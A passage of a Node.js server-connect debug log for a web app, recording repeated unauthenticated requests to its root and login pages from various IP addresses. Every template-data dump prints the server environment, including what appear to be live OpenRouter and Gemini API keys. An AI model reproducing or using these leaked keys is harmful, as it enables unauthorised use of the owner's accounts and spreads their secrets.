    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.37',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:33:25.999Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.37',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.37',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:33:29.913Z server-connect:router Serving templateView /
2026-04-07T20:33:29.914Z server-connect:app Executing action step identify
2026-04-07T20:33:29.914Z server-connect:app options: { provider: 'security' }
2026-04-07T20:33:29.914Z server-connect:auth No login cookie found
2026-04-07T20:33:29.914Z server-connect:output identity: false
2026-04-07T20:33:29.914Z server-connect:app Executing action step restrict
2026-04-07T20:33:29.914Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:33:29.914Z server-connect:output restrict: undefined
2026-04-07T20:33:32.039Z server-connect:router Serving templateView /login
2026-04-07T20:33:32.039Z server-connect:app Executing action step identify
2026-04-07T20:33:32.039Z server-connect:app options: { provider: 'security' }
2026-04-07T20:33:32.040Z server-connect:auth No login cookie found
2026-04-07T20:33:32.040Z server-connect:output identity: false
2026-04-07T20:33:32.040Z server-connect:router Render template layouts/authentication
2026-04-07T20:33:32.040Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.164.126.246',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:33:32.039Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.164.126.246',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.164.126.246',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:36:31.369Z server-connect:router Serving templateView /
2026-04-07T20:36:31.369Z server-connect:app Executing action step identify
2026-04-07T20:36:31.369Z server-connect:app options: { provider: 'security' }
2026-04-07T20:36:31.370Z server-connect:auth No login cookie found
2026-04-07T20:36:31.370Z server-connect:output identity: false
2026-04-07T20:36:31.370Z server-connect:app Executing action step restrict
2026-04-07T20:36:31.370Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:36:31.370Z server-connect:output restrict: undefined
2026-04-07T20:36:35.703Z server-connect:router Serving templateView /login
2026-04-07T20:36:35.703Z server-connect:app Executing action step identify
2026-04-07T20:36:35.703Z server-connect:app options: { provider: 'security' }
2026-04-07T20:36:35.703Z server-connect:auth No login cookie found
2026-04-07T20:36:35.703Z server-connect:output identity: false
2026-04-07T20:36:35.703Z server-connect:router Render template layouts/authentication
2026-04-07T20:36:35.704Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'accept-language': 'en-US;q=0.8,en;q=0.7',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36',
    'x-forwarded-for': '2a00:f2a0:0:f783::100',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:36:35.703Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2a00:f2a0:0:f783::100',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT_LANGUAGE: 'en-US;q=0.8,en;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36',
    'HTTP_X_FORWARDED-FOR': '2a00:f2a0:0:f783::100',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:38:57.835Z server-connect:router Serving templateView /
2026-04-07T20:38:57.836Z server-connect:app Executing action step identify
2026-04-07T20:38:57.836Z server-connect:app options: { provider: 'security' }
2026-04-07T20:38:57.836Z server-connect:auth No login cookie found
2026-04-07T20:38:57.836Z server-connect:output identity: false
2026-04-07T20:38:57.836Z server-connect:app Executing action step restrict
2026-04-07T20:38:57.836Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:38:57.836Z server-connect:output restrict: undefined
2026-04-07T20:39:07.531Z server-connect:router Serving templateView /login
2026-04-07T20:39:07.531Z server-connect:app Executing action step identify
2026-04-07T20:39:07.531Z server-connect:app options: { provider: 'security' }
2026-04-07T20:39:07.531Z server-connect:auth No login cookie found
2026-04-07T20:39:07.531Z server-connect:output identity: false
2026-04-07T20:39:07.531Z server-connect:router Render template layouts/authentication
2026-04-07T20:39:07.531Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'accept-language': 'en-US;q=0.8,en;q=0.7',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.41 YaBrowser/21.2.0.1099 Yowser/2.5 Safari/537.36',
    'x-forwarded-for': '2a00:f2a0:0:f783::100',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:39:07.530Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2a00:f2a0:0:f783::100',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT_LANGUAGE: 'en-US;q=0.8,en;q=0.7',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.41 YaBrowser/21.2.0.1099 Yowser/2.5 Safari/537.36',
    'HTTP_X_FORWARDED-FOR': '2a00:f2a0:0:f783::100',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:49:19.318Z server-connect:router Serving templateView /
2026-04-07T20:49:19.319Z server-connect:app Executing action step identify
2026-04-07T20:49:19.319Z server-connect:app options: { provider: 'security' }
2026-04-07T20:49:19.319Z server-connect:auth No login cookie found
2026-04-07T20:49:19.319Z server-connect:output identity: false
2026-04-07T20:49:19.319Z server-connect:app Executing action step restrict
2026-04-07T20:49:19.319Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:49:19.319Z server-connect:output restrict: undefined
2026-04-07T20:49:19.625Z server-connect:router Serving templateView /login
2026-04-07T20:49:19.625Z server-connect:app Executing action step identify
2026-04-07T20:49:19.625Z server-connect:app options: { provider: 'security' }
2026-04-07T20:49:19.625Z server-connect:auth No login cookie found
2026-04-07T20:49:19.625Z server-connect:output identity: false
2026-04-07T20:49:19.625Z server-connect:router Render template layouts/authentication
2026-04-07T20:49:19.625Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.252.191.247',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:49:19.624Z,
      originalMaxAge: 86399999,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.252.191.247',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.252.191.247',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:49:30.627Z server-connect:router Serving templateView /
2026-04-07T20:49:30.627Z server-connect:app Executing action step identify
2026-04-07T20:49:30.627Z server-connect:app options: { provider: 'security' }
2026-04-07T20:49:30.628Z server-connect:auth No login cookie found
2026-04-07T20:49:30.628Z server-connect:output identity: false
2026-04-07T20:49:30.628Z server-connect:app Executing action step restrict
2026-04-07T20:49:30.628Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:49:30.628Z server-connect:output restrict: undefined
2026-04-07T20:49:32.891Z server-connect:router Serving templateView /login
2026-04-07T20:49:32.892Z server-connect:app Executing action step identify
2026-04-07T20:49:32.892Z server-connect:app options: { provider: 'security' }
2026-04-07T20:49:32.892Z server-connect:auth No login cookie found
2026-04-07T20:49:32.892Z server-connect:output identity: false
2026-04-07T20:49:32.892Z server-connect:router Render template layouts/authentication
2026-04-07T20:49:32.892Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '104.252.191.247',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:49:32.891Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.252.191.247',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '104.252.191.247',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T21:07:56.963Z server-connect:router Serving templateView /
2026-04-07T21:07:56.964Z server-connect:app Executing action step identify
2026-04-07T21:07:56.964Z server-connect:app options: { provider: 'security' }
2026-04-07T21:07:56.964Z server-connect:auth No login cookie found
2026-04-07T21:07:56.964Z server-connect:output identity: false
2026-04-07T21:07:56.964Z server-connect:app Executing action step restrict
2026-04-07T21:07:56.964Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T21:07:56.964Z server-connect:output restrict: undefined
2026-04-07T21:07:57.183Z server-connect:router Serving templateView /login
2026-04-07T21:07:57.183Z server-connect:app Executing action step identify
2026-04-07T21:07:57.183Z server-connect:app options: { provider: 'security' }
2026-04-07T21:07:57.183Z server-connect:auth No login cookie found
2026-04-07T21:07:57.183Z server-connect:output identity: false
2026-04-07T21:07:57.183Z server-connect:router Render template layouts/authentication
2026-04-07T21:07:57.184Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
